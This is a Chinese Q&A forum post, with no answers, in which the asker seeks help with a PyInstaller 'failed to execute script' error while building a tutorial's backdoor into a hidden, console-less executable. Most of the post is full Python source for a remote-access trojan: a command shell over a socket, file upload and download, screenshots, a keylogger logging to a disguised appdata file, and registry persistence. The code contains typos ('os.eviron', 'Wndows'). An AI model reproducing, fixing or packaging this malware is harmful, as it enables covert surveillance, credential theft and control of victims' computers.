如何修复pyinstaller错误:无法执行脚本

hi3rlvi2  于 2021-07-13  发布在  Java
关注(0)|答案(0)|浏览(568)

我正在遵循aleksa tamburkovski的后门教程,但是当我试图编译 .py 归档到 .exe 文件使用 pyinstaller backdoor.py --onefile --noconsole 在cmd中,它首先编译,但当我试图打开文件时,它会显示:failed to execute script。我不知道发生了什么事。以下是文件,一个是backdoor.py,另一个是运行它所需的文件:
后门.py:

import socket
import json
import subprocess
import os
import pyautogui
import keylogger
import threading
import shutil
import sys

def reliable_recv():
    data = ''
    while True:
        try:
            data = data + s.recv(1024).decode().rstrip()
            return json.loads(data)
        except ValueError:
            continue

def upload_file(file_name):
    f = open(file_name, 'rb')
    s.send(f.read())

def download_file(file_name):
    f = open(file_name, 'wb')
    s.settimeout(1)
    chunk = s.recv(1024)
    while chunk:
        f.write(chunk)
        try:
            chunk = s.recv(1024)
        except socket.timeout as e:
            break

    s.settimeout(None)
    f.close()
def screenshot():
    Ss = pyautogui.screenshot()
    Ss.save('screen.png')

def persist(r,c):
    file_loc = os.eviron['appdata'] + '\\' + c
    try:
        if not os.path.exists(file_loc):
            shutil.copyfile(sys.executable, file_loc)
            subprocess.call('reg add HKCU\Software\Microsoft\Wndows\CurrentVersion /v ' + r +' /t REG_SZ /d "' + file_loc + '"', shell =True)
            reliable_send('[+] Created Persistance at: '+ r)
        else:
            reliable_send('[+] Persistance already Exists!')

    except:
        reliable_send('[-] Error Creating Persistance')

def reliable_send(data):
    jsondata = json.dumps(data)
    s.send(jsondata.encode())

def shell():
    while True:
        command = reliable_recv()
        if command == 'quit':
            break
        elif command == 'help':
            pass
        elif command == 'clear':
            pass
        elif command[:6] == 'upload':
            download_file(command[7:])
        elif command[:3] == 'cd ':
            os.chdir(command[3:])
        elif command[:8] == 'download':
            upload_file(command[9:])
        elif command[:10] == 'screenshot':
            screenshot()
            upload_file('screen.png')
            os.remove('screen.png')
        elif command[:12] == 'keylog_start':
            keylog = keylogger.Keylogger()
            t = threading.Thread(target = keylog.start)
            t.start()
            reliable_send('[+] Keylogger Started!')
        elif command[:11] == 'keylog_dump':
            logs = keylog.read_logs()
            reliable_send(logs)
        elif command[:11] == 'keylog_stop':
            keylog.self_destruct()
            t.join()
            reliable_send('[-] Keylogger Stopped!')
        elif command[:11] == 'persistence':
            reg_name, copy_name = command[12:].split(' ')
            persist(reg_name, copy_name)
        else:
            execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
            result = execute.stdout.read() + execute.stderr.read()
            result = result.decode()
            reliable_send(result)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',5555))
shell()

键盘记录器.py:

import os
from pynput.keyboard import Listener
import time
import threading

class Keylogger():
    keys = []
    count = 0
    #path = 'processmannager.txt'
    path = os.environ['appdata'] + '\\processmannager.txt'
    flag = 0

    def on_press(self,key):
        self.keys.append(key)
        self.count += 1

        if self.count >= 1:
            self.count = 0
            self.write_file(self.keys)
            self.keys = []

    def read_logs(self):
        with open(self.path,'rt')as f:
            return f.read()

    def write_file(self,keys):
        with open(self.path, 'a') as f:
            for key in keys:
                k = str(key).replace("'","")
                k = str(k).replace("Key.space",' ')
                k = str(k).replace("Key.enter", '\n')
                k = str(k).replace("Key.shift", "[Shift]")
                k = str(k).replace("Key.caps_lock", "[Caps_lock]")
                f.write(k)
    def self_destruct(self):
        self.flag = 1
        listener.stop()
        os.remove('processmannager.txt')

    def start(self):
        global listener
        with Listener(on_press=self.on_press) as listener:
            listener.join()

当我试着 pyinstaller backdoor.py --onefile --noconsole --debug=all 它告诉我:

请帮我解决这个问题。

暂无答案!

目前还没有任何答案,快来回答吧!

相关问题